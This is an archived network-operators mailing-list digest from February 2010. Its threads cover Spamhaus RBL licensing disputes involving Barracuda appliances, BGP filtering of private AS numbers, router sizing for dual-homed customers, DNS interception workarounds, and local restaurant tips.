<85c108811002180847w234406d8hb47c4ef8476f92cf@mail.gmail.com> For good food/beer/atmosphere, I recommend Fado Irish Pub on 214 W. 4th. -- Byron L. Hicks University of Texas System 512-377-9857 AIM: byronhicks On Thu, Feb 18, 2010 at 10:42 AM, Adam Kujawski wrote: > On Thu, Feb 18, 2010 at 9:51 AM, Will Clayton wrote: >> Now that you mention it, Might Fine burgers are some of the best I've had in >> town too. > > I can't believe nobody has mentioned the burgers at Hut's or Casino El > Camino yet. Casino is a bar that's walking distance from the hotel. > The buffalo burger (as in wing sauce, not bison) is hot and tasty. > > For cheap but decent sushi, check out Kyoto on Congress -- the happy > hour pricing has strict rules though -- arrive early, and no seating > of incomplete parties. Then head downstairs for some live jazz at the > Elephant Room. > http://www.kyotodowntown.com/5585168_47375.htm > > -Adam > > From rudi.daniel at gmail.com Thu Feb 18 10:54:51 2010 From: rudi.daniel at gmail.com (Rudolph Daniel) Date: Thu, 18 Feb 2010 12:54:51 -0400 Subject: Caribbean High Speed network..request for interested parties Message-ID: <8aeeaff61002180854v14608dd3qb66baea9cc6c7076@mail.gmail.com> Ref: Caribbean High speed network...Rudi.daniel at gmail.com SPECIFIC PROCUREMENT NOTICE* *Request for Expressions of Interest* *Caribbean Knowledge and Learning Network (CKLN) Foundation* Regional Strategy for C at ribNET: Caribbean High Speed Network (/Provision of a Blueprint for the Development and Implementation of National Research and Education Networks)/** *Grant Number:* ATN/OC-10755-RG *Project Number:* RG-T1270 This request for Expressions of Interest follows the general procurement notice for this project that appeared in UNDB on-line Issue/ /No. 768 of February 1, 2010. The Caribbean Knowledge and Learning Network (CKLN) Foundation has received a Grant from the Inter-American Development Bank towards the cost of the Regional Strategy for C at ribNET: Caribbean High Speed Network, and it intends to apply part of the proceeds of this Grant to payments under the contract for /the Provision of a blueprint for the development and implementation of National Research and Education Networks (NRENs). /CKLN is now seeking Expressions of Interest from eligible consultants to provide services under the foregoing mentioned contract. Services under the consultancy will include but shall not be limited to, identification of networks or segments of networks with planned or actual national footprint, their technical configuration, topography and operational status; identifying operational issues that might undermine their service capabilities and reliability; developing gap profiles between what exists today in each country and a ?best practice? network blueprint; develop mitigation strategies and plans for remediation by consensual and collaborative methods. Short listing will be conducted through short listing procedures specified in the Inter-American Development Bank?s /Policies for the Selection and Contracting of Consultants financed by the Inter-American Development Bank, August /2006, and are open to all bidders from eligible source countries, as defined in the Policies. Interested eligible Applicants may obtain further information from the Caribbean Knowledge and Learning Network (CKLN) Foundation located at the Mutual Trans Nemwil Office Complex, the Villa, St. George?s, Grenada, Monday to Friday 8:30 hours to 16:30 hours/. /A set of documents requisite for completing Expressions of Interest may be requested by interested Applicants on the submission of a written Application to email address shion.thomas at ckln.org . These documents will be sent via email. Expressions of Interest should be submitted in two (2) hard copies and one electronic copy in CD format in sealed envelopes, delivered to the address below by */March 10, 2010/*/, /and be clearly marked ?Expression of Interest for P/rovision of a Blueprint for the Development and Implementation of National Research and Education Networks/?. The Procurement Officer Caribbean Knowledge and Learning Network (CKLN) Foundation Mutual Trans Nemwil Office Complex The Villa, St. George?s, Grenada, West Indies Tel: 473-439-6396 Fax: 473- 439-6419 shion.thomas at ckln.org -- Rudi Daniel e Business Consultant ( Caribbean Region ) http://www.svgpso.org http://oecstimes.wordpress.com ?The whole problem with the world is that fools and fanatics are always so certain of themselves, but wiser people so full of doubts.? - Bertrand Russell From Crist.Clark at globalstar.com Thu Feb 18 11:50:59 2010 From: Crist.Clark at globalstar.com (Crist Clark) Date: Thu, 18 Feb 2010 09:50:59 -0800 Subject: Spamhaus... In-Reply-To: <4B7D1911.4050801@sorbs.net> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> Message-ID: <4B7D0D7D.33E4.0097.0@globalstar.com> >>> On 2/18/2010 at 2:40 AM, Michelle Sullivan wrote: > Laczo, Louis wrote: >> Folks, >> >> I'm looking for comments / suggestions / opinions from any providers that > have been contacted by spamhaus about excessive queries originating from > their DNS resolvers, typically, as a proxy for customers. I know that certain > large DNS providers (i.e. google and level3) have either been banned or have > voluntarily blocked spamhaus queries by their resolvers. We're currently in > discussion with spamhaus and I wanted to see how others may have handled > this. >> > > They seem to be doing that a lot of late. They also contacted my > employer and demanded $100k/yr(?) for having a "Use Spamhaus RBL" in our > software. Next version will not have the ability to query Spamhaus > unless a user configures it themselves in the "Custom RBL" settings. > > > Michelle > > ? = could have been more, not sure without checking with the CEO, result > was the same. We received such a message from a Spamhaus Datafeed reseller and eventually had our DNS servers blocked. What angered me was that I analyzed our usage, and we were well below the thresholds and met the TOS published at the Spamhaus website for no-cost use. However, they said we had to subscribe to the Datafeed despite that because we have a Barracuda appliance. To me, it sounds like Barracuda customers are being singled out in some conflict between Barracuda Networks and Spamhaus. Spamhaus (via the reseller, MXTools) is leaning on Barracuda customers hoping that they'll lean on Barracuda Networks so that Barracuda Networks will do a deal at the corporate level with Spamhaus. Spamhaus does some good work, but being used as a pawn in some conflict between vendors doesn't feel nice. And I want to know how they figured out we had a Barracuda. From hescominsoon at emmanuelcomputerconsulting.com Thu Feb 18 12:28:32 2010 From: hescominsoon at emmanuelcomputerconsulting.com (William Warren) Date: Thu, 18 Feb 2010 13:28:32 -0500 Subject: Spamhaus... In-Reply-To: <4B7D0D7D.33E4.0097.0@globalstar.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> Message-ID: <4B7D86D0.5060400@emmanuelcomputerconsulting.com> On 2/18/2010 12:50 PM, Crist Clark wrote: >>>> On 2/18/2010 at 2:40 AM, Michelle Sullivan wrote: >>>> >> Laczo, Louis wrote: >> >>> Folks, >>> >>> I'm looking for comments / suggestions / opinions from any providers that >>> >> have been contacted by spamhaus about excessive queries originating from >> their DNS resolvers, typically, as a proxy for customers. I know that certain >> large DNS providers (i.e. google and level3) have either been banned or have >> voluntarily blocked spamhaus queries by their resolvers. We're currently in >> discussion with spamhaus and I wanted to see how others may have handled >> this. >> >>> >>> >> They seem to be doing that a lot of late. They also contacted my >> employer and demanded $100k/yr(?) for having a "Use Spamhaus RBL" in our >> software. Next version will not have the ability to query Spamhaus >> unless a user configures it themselves in the "Custom RBL" settings. >> >> >> Michelle >> >> ? = could have been more, not sure without checking with the CEO, result >> was the same. >> > We received such a message from a Spamhaus Datafeed reseller > and eventually had our DNS servers blocked. What angered me was > that I analyzed our usage, and we were well below the thresholds > and met the TOS published at the Spamhaus website for no-cost use. > However, they said we had to subscribe to the Datafeed despite > that because we have a Barracuda appliance. > > To me, it sounds like Barracuda customers are being singled > out in some conflict between Barracuda Networks and Spamhaus. > Spamhaus (via the reseller, MXTools) is leaning on Barracuda > customers hoping that they'll lean on Barracuda Networks so > that Barracuda Networks will do a deal at the corporate level > with Spamhaus. > > Spamhaus does some good work, but being used as a pawn in > some conflict between vendors doesn't feel nice. And I want to > know how they figured out we had a Barracuda. > > > > try using barracuda's own barbell(brbl) service..i don't know if it's built into your appliance. I have also found that greylisting(for me via postgrey) has done more than any rbl to nearly eliminate my spam. From tmagill at providecommerce.com Thu Feb 18 13:27:30 2010 From: tmagill at providecommerce.com (Thomas Magill) Date: Thu, 18 Feb 2010 11:27:30 -0800 Subject: Blocking private AS Message-ID: I am thinking about implementing a filter to block all traffic with private AS numbers in the path. I see quite a few in my table though so I am concerned I might block some legitimate traffic. In some cases, these are just prefixes with the private appended to the end but a few have the private as a transit. Is this a good idea or would I likely be blocking too much legitimate traffic? The filter I am using currently shows the following: BGP table version is 5462394, local router ID is 209.112.253.4 Status codes: s suppressed, d damped, h history, * valid, > best, i - internal, r RIB-failure, S Stale Origin codes: i - IGP, e - EGP, ? - incomplete Network Next Hop Metric LocPrf Weight Path * i58.68.109.0/24 x.x.x.x 0 100 0 6130 9498 10201 65534 i *> y.y.y.y 0 6130 9498 10201 65534 i * i68.115.224.0/24 x.x.x.x 0 100 0 6130 19151 20115 65011 i *> y.y.y.y 0 6130 19151 20115 65011 i * 85.112.22.0/24 y.y.y.y 0 6130 6939 23148 64532 64532 64532 64532 64532 64532 64532 64532 64532 i *> 93.189.194.0/24 y.y.y.y 0 6130 3549 39386 39386 39386 25233 65000 47146 i * i x.x.x.x 0 100 0 6130 3549 39386 39386 39386 25233 65000 47146 i *> 96.60.243.0/24 y.y.y.y 0 6130 2828 4181 65528 i * i x.x.x.x 0 100 0 6130 2828 4181 65528 i * i96.61.232.0/24 x.x.x.x 0 100 0 6130 2828 4181 65527 i *> y.y.y.y 0 6130 2828 4181 65527 i * i96.61.233.0/24 x.x.x.x 0 100 0 6130 2828 4181 65527 i *> y.y.y.y 0 6130 2828 4181 65527 i * i96.61.234.0/24 x.x.x.x 0 100 0 6130 2828 4181 65527 i *> y.y.y.y 0 6130 2828 4181 65527 i *> 148.207.2.0/24 y.y.y.y 0 6130 2828 3257 16531 13579 65090 i * i x.x.x.x 0 100 0 6130 2828 3257 16531 13579 65090 i *> 148.207.40.0/24 y.y.y.y 0 6130 2828 3257 16531 13579 65090 i * i x.x.x.x 0 100 0 6130 2828 3257 16531 13579 65090 i *> 148.207.97.0/24 y.y.y.y 0 6130 2828 3257 16531 13579 65090 i * i x.x.x.x 0 100 0 6130 2828 3257 16531 13579 65090 i * 170.34.100.0/24 y.y.y.y 0 6130 19151 20115 65011 ? * 170.34.104.0/24 y.y.y.y 0 6130 19151 20115 65011 ? * 170.34.113.0/24 y.y.y.y 0 6130 19151 20115 65011 ? * i174.35.1.0/24 x.x.x.x 0 100 0 6130 16467 64565 i * i174.47.199.0/24 x.x.x.x 0 100 0 6130 2828 4323 15065 65123 i *> y.y.y.y 0 6130 2828 4323 15065 65123 i * i192.109.61.0 x.x.x.x 0 100 0 6130 19151 20115 65011 i *> y.y.y.y 0 6130 19151 20115 65011 i *> 196.216.249.0 y.y.y.y 0 6130 2828 3257 8513 8513 8513 36881 65000 36896 37062 i * i x.x.x.x 0 100 0 6130 2828 3257 8513 8513 8513 36881 65000 36896 37062 i Network Next Hop Metric LocPrf Weight Path *> 209.172.69.128/30 y.y.y.y 0 6130 16467 64565 i * i x.x.x.x 0 100 0 6130 16467 64565 i *> 213.146.161.0 y.y.y.y 0 6130 2828 174 64679 48493 i * i x.x.x.x 0 100 0 6130 2828 174 64679 48493 i Thomas Magill Network Engineer Office: (858) 909-3777 Cell: (858) 869-9685 mailto:tmagill at providecommerce.com provide-commerce 4840 Eastgate Mall San Diego, CA 92121 ProFlowers | redENVELOPE | Cherry Moon Farms | Shari's Berries From matthew at sorbs.net Thu Feb 18 13:47:14 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Thu, 18 Feb 2010 20:47:14 +0100 Subject: Spamhaus... In-Reply-To: <4B7D0D7D.33E4.0097.0@globalstar.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> Message-ID: <4B7D9942.4000608@sorbs.net> Crist Clark wrote: > We received such a message from a Spamhaus Datafeed reseller > and eventually had our DNS servers blocked. What angered me was > that I analyzed our usage, and we were well below the thresholds > and met the TOS published at the Spamhaus website for no-cost use. > However, they said we had to subscribe to the Datafeed despite > that because we have a Barracuda appliance. > Well aside from I remember reading that they look for Barracuda Appliances*, it does say on: http://www.spamhaus.org/organization/dnsblusage.html *Definition: "non-commercial use" is use for any purpose other than as part or all of a product or service that is resold, or for use of which a fee is charged. For example, using our DNSBLs in a commercial spam filtering appliance that is then sold to others requires a data feed, regardless of use volume. The same is true of commercial spam filtering software and commercial spam filtering services. > And I want to know how they figured out we had a Barracuda. > > * well have you considered that the Barracuda may be very specific in it's IP stack, or they signature it produces in queries etc. Might have a very specific open port for administration - and not forgetting that if it's making queries very directly it's exposing it's IP address and therefore can be tested very simply. Many different ways, and I bet I could find out if I were to have a device to look at. Michelle From andy at nosignal.org Thu Feb 18 13:48:06 2010 From: andy at nosignal.org (Andy Davidson) Date: Thu, 18 Feb 2010 19:48:06 +0000 Subject: Latest Cisco for small dual homed ASN In-Reply-To: References: Message-ID: <4B7D9976.3030805@nosignal.org> On 11/02/2010 18:53, James Smallacombe wrote: > I have a customer that is looking at using BGP for their network; one > connection over a few bonded T1s, the other over a Comcast Enterprise > connection (which supposedly will do BGP now). > When I was dual homed a few years ago, a 7204VXR with 256MB was more > than adequate. With routing tables growing the way they are, what's a > good Cisco based solution on the lower end of the price spectrum that > should handle this fine for a few years? There was a bit of info missing from the replies in this thread, so I shall inflict my thoughts onto you all. Sorry, but : On 11/02/2010 19:12, Matthew Huff wrote: > You can squeeze by with 512MB, but 1GB of ram would be better. > A 7204VXR with 1GB of ram will work fine. ... though you would want an npe-g1 or npe-g2 to avoid frustration. On 11/02/2010 19:08, Seth Mattinen wrote: > Any 2800/3800 ISR (except the 2801) will handle this just fine Any sort of attack traffic will hurt this family in a hosting environment in my experience. They are good (feature-rich) in the 'branch' environment though. We are also rolling out huge volumes of Juniper equipment, and medium to high end J-series equipment is likely to vastly exceed expectations without exceeding your budget. Andy -- // www.netsumo.com // Professional network engineering consultancy // // uk ddi: +44(0)20 7993 1702 // us ddi: (415) 520 3589 // From matthew at sorbs.net Thu Feb 18 14:15:48 2010 From: matthew at sorbs.net (Michelle Sullivan) Date: Thu, 18 Feb 2010 21:15:48 +0100 Subject: several messages In-Reply-To: References: Message-ID: <4B7D9FF4.9050904@sorbs.net> Dean Anderson wrote: > [Damn. spit out my coffee on keyboard.] > > Levine and Vixie are partners in Whitehat. Whitehat is a commercial bulk > mailer that offers listwashing services (removing spam-traps). MAPS > employees were involved in listwashing. MAPS, Spamhaus, SORBS do not > block Whitehat, suggesting that the spamtraps removed come from > MAPS/Spamhaus/SORBS > LOL Dean's really lost it finally (if he hadn't before.) SORBS does not 'not block' anyone (many on here will attest to that) no one is to big or too small to get listed in SORBS. ..but more importantly, and almost on topic unlike Dean's entire post... I thought Dean was banned for his off continual off topic posts and all the attacks on other people and organisations? Michelle From nick at foobar.org Thu Feb 18 14:25:00 2010 From: nick at foobar.org (Nick Hilliard) Date: Thu, 18 Feb 2010 20:25:00 +0000 Subject: Spamhaus... In-Reply-To: <4B7D1911.4050801@sorbs.net> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> Message-ID: <4B7DA21C.1060608@foobar.org> On 18/02/2010 10:40, Michelle Sullivan wrote: > They seem to be doing that a lot of late. They also contacted my > employer and demanded $100k/yr(?) for having a "Use Spamhaus RBL" in our > software. I sympathise. It's very frustrating when you try to deal with these anti-spam outfits in a reasonable way and you're met with almost completely arbitrary b/s. Nick From patrick at ianai.net Thu Feb 18 14:25:47 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Thu, 18 Feb 2010 15:25:47 -0500 Subject: several messages In-Reply-To: <4B7D9FF4.9050904@sorbs.net> References: <4B7D9FF4.9050904@sorbs.net> Message-ID: <09726D88-3CEB-4D0D-872F-5982081EA3B0@ianai.net> On Feb 18, 2010, at 3:15 PM, Michelle Sullivan wrote: > Dean Anderson wrote: >> [Damn. spit out my coffee on keyboard.] >> >> Levine and Vixie are partners in Whitehat. Whitehat is a commercial bulk >> mailer that offers listwashing services (removing spam-traps). MAPS >> employees were involved in listwashing. MAPS, Spamhaus, SORBS do not >> block Whitehat, suggesting that the spamtraps removed come from >> MAPS/Spamhaus/SORBS >> > > LOL Dean's really lost it finally (if he hadn't before.) SORBS does not > 'not block' anyone (many on here will attest to that) no one is to big > or too small to get listed in SORBS. > > ..but more importantly, and almost on topic unlike Dean's entire > post... I thought Dean was banned for his off continual off topic posts > and all the attacks on other people and organisations? Dean e-mails lots of people directly and CC's the list with his .. uh .. missives. The list members do not see it, just the people individual on the To or CC lines see it. When you reply to the list, /then/ people on the list see it. I am replying to the list because I want to educate people. The next time someone gets e-mail from Dean, please do not reply to NANOG. -- TTFN, patrick From morrowc.lists at gmail.com Thu Feb 18 14:34:13 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 18 Feb 2010 15:34:13 -0500 Subject: Spamhaus... In-Reply-To: <4B7DA21C.1060608@foobar.org> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7DA21C.1060608@foobar.org> Message-ID: <75cb24521002181234p1dcf47c4nd496dc4901e47f9c@mail.gmail.com> On Thu, Feb 18, 2010 at 3:25 PM, Nick Hilliard wrote: > On 18/02/2010 10:40, Michelle Sullivan wrote: >> They seem to be doing that a lot of late. ?They also contacted my >> employer and demanded $100k/yr(?) for having a "Use Spamhaus RBL" in our >> software. > > I sympathise. ?It's very frustrating when you try to deal with these > anti-spam outfits in a reasonable way and you're met with almost completely > arbitrary b/s. really? that happens? I'm shocked. Oh wait, you were being ironic! -chris From Crist.Clark at globalstar.com Thu Feb 18 14:36:22 2010 From: Crist.Clark at globalstar.com (Crist Clark) Date: Thu, 18 Feb 2010 12:36:22 -0800 Subject: Spamhaus... In-Reply-To: <4B7D9942.4000608@sorbs.net> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7D9942.4000608@sorbs.net> Message-ID: <4B7D3440.33E4.0097.0@globalstar.com> >>> On 2/18/2010 at 11:47 AM, Michelle Sullivan wrote: > Crist Clark wrote: >> We received such a message from a Spamhaus Datafeed reseller >> and eventually had our DNS servers blocked. What angered me was >> that I analyzed our usage, and we were well below the thresholds >> and met the TOS published at the Spamhaus website for no-cost use. >> However, they said we had to subscribe to the Datafeed despite >> that because we have a Barracuda appliance. >> > > Well aside from I remember reading that they look for Barracuda > Appliances*, it does say on: > http://www.spamhaus.org/organization/dnsblusage.html > > *Definition: "non-commercial use" is use for any purpose other than as > part or all of a product or service that is resold, or for use of which > a fee is charged. For example, using our DNSBLs in a commercial spam > filtering appliance that is then sold to others requires a data feed, > regardless of use volume. The same is true of commercial spam filtering > software and commercial spam filtering services. We do not fit into that. We are not selling an appliance or service to others (the 'Cuda is for our internal corporate email only, not customers). If we were still using my home-built SpamAssassin system, it'd be OK to use Spamhaus. Now that we've purchased an appliance and manually added a Spamhaus to the user-customizable DNSBL list on it, it's not OK? >> And I want to know how they figured out we had a Barracuda. >> >> > > > * well have you considered that the Barracuda may be very specific in > it's IP stack, or they signature it produces in queries etc. Might have > a very specific open port for administration - and not forgetting that > if it's making queries very directly it's exposing it's IP address and > therefore can be tested very simply. Many different ways, and I bet I > could find out if I were to have a device to look at. I have considered that, but it would seem it must be some signature in the queries. It does not query directly, but through our own caching DNS servers (I won't name the DNS server software, but its initials are B.I.N.D.). From setient at gmail.com Thu Feb 18 14:51:12 2010 From: setient at gmail.com (Ronald Cotoni) Date: Thu, 18 Feb 2010 15:51:12 -0500 Subject: several messages In-Reply-To: <09726D88-3CEB-4D0D-872F-5982081EA3B0@ianai.net> References: <4B7D9FF4.9050904@sorbs.net> <09726D88-3CEB-4D0D-872F-5982081EA3B0@ianai.net> Message-ID: <2f1d68351002181251v46fbecdaleacd33b254ab713b@mail.gmail.com> On Thu, Feb 18, 2010 at 3:25 PM, Patrick W. Gilmore wrote: > On Feb 18, 2010, at 3:15 PM, Michelle Sullivan wrote: >> Dean Anderson wrote: >>> [Damn. spit out my coffee on keyboard.] >>> >>> Levine and Vixie are partners in Whitehat. Whitehat is a commercial bulk >>> mailer that offers listwashing services (removing spam-traps). MAPS >>> employees were involved in listwashing. ?MAPS, Spamhaus, SORBS do not >>> block Whitehat, suggesting that the spamtraps removed come from >>> MAPS/Spamhaus/SORBS >>> >> >> LOL Dean's really lost it finally (if he hadn't before.) ?SORBS does not >> 'not block' anyone (many on here will attest to that) no one is to big >> or too small to get listed in SORBS. >> >> ..but more importantly, and almost on topic unlike Dean's entire >> post... ?I thought Dean was banned for his off continual off topic posts >> and all the attacks on other people and organisations? > > Dean e-mails lots of people directly and CC's the list with his .. uh .. missives. ?The list members do not see it, just the people individual on the To or CC lines see it. > > When you reply to the list, /then/ people on the list see it. > > I am replying to the list because I want to educate people. ?The next time someone gets e-mail from Dean, please do not reply to NANOG. > > -- > TTFN, > patrick > > > +1 to that. I had to create a mail filter specifically for him that takes the message, sends it back with a message saying not to mail me anymore. He doesn't get hints very well. From LarrySheldon at cox.net Thu Feb 18 15:42:11 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Thu, 18 Feb 2010 15:42:11 -0600 Subject: several messages In-Reply-To: <2f1d68351002181251v46fbecdaleacd33b254ab713b@mail.gmail.com> References: <4B7D9FF4.9050904@sorbs.net> <09726D88-3CEB-4D0D-872F-5982081EA3B0@ianai.net> <2f1d68351002181251v46fbecdaleacd33b254ab713b@mail.gmail.com> Message-ID: <4B7DB433.7070100@cox.net> [bagged and tagged for hazmat disposal] Why is that everybody who is compelled to comment on how useless (or worse) a posting is is also compelled to quote the garbage at great length? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email From LarrySheldon at cox.net Thu Feb 18 15:49:09 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Thu, 18 Feb 2010 15:49:09 -0600 Subject: Spamhaus... In-Reply-To: <4B7D3440.33E4.0097.0@globalstar.com> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7D9942.4000608@sorbs.net> <4B7D3440.33E4.0097.0@globalstar.com> Message-ID: <4B7DB5D5.1030206@cox.net> On 2/18/2010 2:36 PM, Crist Clark wrote: >> *Definition: "non-commercial use" is use for any purpose other than as >> part or all of a product or service that is resold, or for use of which >> a fee is charged. For example, using our DNSBLs in a commercial spam >> filtering appliance that is then sold to others requires a data feed, >> regardless of use volume. The same is true of commercial spam filtering >> software and commercial spam filtering services. > > We do not fit into that. We are not selling an appliance or service > to others (the 'Cuda is for our internal corporate email only, not > customers). Would appear to this uninformed ignoramus that Barracuda is using the data for a commercial purpose and should be buying the feed. It appears, therefore, that you have a beef with Barracuda. Do they monitor this list, or is there a better way of contacting them? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From johnl at iecc.com Thu Feb 18 15:58:55 2010 From: johnl at iecc.com (John Levine) Date: 18 Feb 2010 21:58:55 -0000 Subject: Spamhaus... In-Reply-To: <4B7DA21C.1060608@foobar.org> Message-ID: <20100218215855.5114.qmail@simone.iecc.com> In article <4B7DA21C.1060608 at foobar.org> you write: >On 18/02/2010 10:40, Michelle Sullivan wrote: >> They seem to be doing that a lot of late. They also contacted my >> employer and demanded $100k/yr(?) for having a "Use Spamhaus RBL" in our >> software. > >I sympathise. It's very frustrating when you try to deal with these >anti-spam outfits in a reasonable way and you're met with almost completely >arbitrary b/s. Spamhaus has a published price list. If you use them in a separate filtering service you sell, the price is considerably higher than if you use them as part of mail service. R's, John From LarrySheldon at cox.net Thu Feb 18 16:03:22 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Thu, 18 Feb 2010 16:03:22 -0600 Subject: Austin Message-ID: <4B7DB92A.9070106@cox.net> Any of the Austin contingent near the IRS office? Everybody OK? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From bill at herrin.us Thu Feb 18 16:05:35 2010 From: bill at herrin.us (William Herrin) Date: Thu, 18 Feb 2010 17:05:35 -0500 Subject: Latest Cisco for small dual homed ASN In-Reply-To: References: Message-ID: <3c3e3fca1002181405t1b2af49ci62f86d8f85aa890@mail.gmail.com> On Thu, Feb 11, 2010 at 1:53 PM, James Smallacombe wrote: > I have a customer that is looking at using BGP for their network; one > connection over a few bonded T1s, the other over a Comcast Enterprise > connection (which supposedly will do BGP now). > > When I was dual homed a few years ago, a 7204VXR with 256MB was more than > adequate. ?With routing tables growing the way they are, what's a good Cisco > based solution on the lower end of the price spectrum that should handle > this fine for a few years? I use 2811s in a couple of similar configurations. One of them currently uses about 400M of the 768M ram with 4 BGP feeds and "soft-reconfiguration inbound." Another with just one BGP feed and soft-reconfiguration takes about 300M. Needs a minute or so to recover from one of the BGP links dropping but otherwise it keeps up with my light-weight traffic just fine. In both cases the packets are cpu-switched and normal CPU load (when a link isn't collapsing or returning) is under 10%. -- William D. Herrin ................ herrin at dirtside.com bill at herrin.us 3005 Crane Dr. ...................... Web: Falls Church, VA 22042-3004 From surfer at mauigateway.com Thu Feb 18 17:15:20 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 18 Feb 2010 15:15:20 -0800 Subject: Tahiti's OPT ASN? Message-ID: <20100218151520.B5C14820@resin17.mta.everyone.net> Anyone got the ASN of Office des Postes et T?l?communications in French Polynesia? I'm having a heck of a time looking for it in APNIC. scott From surfer at mauigateway.com Thu Feb 18 17:24:54 2010 From: surfer at mauigateway.com (Scott Weeks) Date: Thu, 18 Feb 2010 15:24:54 -0800 Subject: Please Ignore Re: Tahiti's OPT ASN? Message-ID: <20100218152454.B5C1379E@resin17.mta.everyone.net> --- surfer at mauigateway.com wrote: ------ Anyone got the ASN of Office des Postes et T?l?communications in French Polynesia? I'm having a heck of a time looking for it in APNIC. ------------------------------------------- Apologies for the noise. I found it at http://multicasttech.com/status/asn_expand.txt just after sending this: 9471 scott From jkrejci at usinternet.com Thu Feb 18 17:51:02 2010 From: jkrejci at usinternet.com (Justin Krejci) Date: Thu, 18 Feb 2010 17:51:02 -0600 Subject: dns interceptors In-Reply-To: <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> References: <7f17308a1002121435p6b4efd66nedb7d4f16e1dcf77@mail.gmail.com><1A641664-9F91-4D1D-8C04-04E1D89F308D@gmail.com> <25869BF9-2879-46F0-9D67-38AEC742A40B@ianai.net> Message-ID: <4C465E9599814E1FBB69BFD937702454@usicorp.usinternet.com> While not covering all apps you may want to use, it does work for at least Firefox when web browsing (works on non-windows too) when using an ssh socks proxy Go to the address about:config filter for "dns" toggle "network.proxy.socks_remote_dns" to "true" and then firefox will send its own DNS queries over the socks proxy. -----Original Message----- From: Patrick W. Gilmore [mailto:patrick at ianai.net] Sent: Sunday, February 14, 2010 11:42 AM To: North American Network Operators Group Subject: Re: dns interceptors On Feb 14, 2010, at 12:37 PM, Jason Frisvold wrote: > On Feb 13, 2010, at 4:58 PM, Randy Bush wrote: >> i am often on funky networks in funky places. e.g. the wireless in >> changi really sucked friday night. if i ssh tunneled, it would multiply >> the suckiness as tcp would have puked at the loss rate. > > You can always run your own local resolver... Or is there a reason that's unacceptable? How does that help? It still sends port 53 requests to the authorities, which will be intercepted. -- TTFN, patrick >> smb whacked me that i should use non-tcp tunnels. >> >> randy >> > > -- > Jason 'XenoPhage' Frisvold > XenoPhage0 at gmail.com > http://blog.godshell.com > > From drako at barracuda.com Thu Feb 18 18:11:09 2010 From: drako at barracuda.com (Dean Drako) Date: Thu, 18 Feb 2010 16:11:09 -0800 Subject: Spamhaus and Barracuda Networks BRBL References: <72C09AE4-ED2D-4D9C-A4D1-6154A8114831@barracuda.com> Message-ID: With respect to Barracuda Networks and Spamhaus. I expect, but I do not know, that Spamhaus probes on port 25 in order to identify Barracuda Spam and Virus Firewalls and then block their access to their RBL. Many Barracuda customers have been cut off without warning causing them trouble and pain. Barracuda attempted to find a deal that would work for licensing Spamhaus for our products, however, spamhaus's desire for money could not be met without significantly increasing the price to each of our customers. They wanted us to charge the spamhaus feed price to each of our customers. We tried to find an arrangement for a long time. I personally love the work that spamhaus has done. I was disappointed that we could not find an arrangement once they changed into a commercial entity and started charging customers. When they were providing a free service we promoted them strongly, but when they started charging the customers that really used it, we had to part ways. It is a pity. We recommend customers use only Barracuda's Free RBL: "BRBL" and this is now built into the Barracuda Spam and Virus Firewall. http://www.barracudacentral.org/rbl The BRBL is provided at no charge to anyone who wants to use it (even non barracuda customers). The BRBL has a full time staff that answers phone and email to correct any false positives and handle removal requests -- unlike competing services that charge money and who do not provide a staff. We will consider providing data feeds if anyone has interest. We currently provide the BRBL as a free service. We make no claims about it being better or worse than any other RBL. It does use a massive amount of data in order to determine which IP's should be on the list. Others have made claims about its accuracy and say great things about it. Others complain that we unjustly block them, however, 99.9% of the people who are blocked and who contact us find a BOT in their network. Sincerely, Dean Drako CEO Barracuda Networks From mysidia at gmail.com Thu Feb 18 18:19:00 2010 From: mysidia at gmail.com (James Hess) Date: Thu, 18 Feb 2010 18:19:00 -0600 Subject: Spamhaus... In-Reply-To: <4B7DB5D5.1030206@cox.net> References: <785686BA670E9840A0992A810829B189D2B4883C@NYMAILCLUSTER1.corp.paetec.com> <4B7D1911.4050801@sorbs.net> <4B7D0D7D.33E4.0097.0@globalstar.com> <4B7D9942.4000608@sorbs.net> <4B7D3440.33E4.0097.0@globalstar.com> <4B7DB5D5.1030206@cox.net> Message-ID: <6eb799ab1002181619pc6329flf7a0ebc762b39de2@mail.gmail.com> On Thu, Feb 18, 2010 at 3:49 PM, Larry Sheldon wrote: > On 2/18/2010 2:36 PM, Crist Clark wrote: > Would appear to this uninformed ignoramus that Barracuda is using the > data for a commercial purpose and should be buying the feed. According to the Spamhaus web site, Your mail 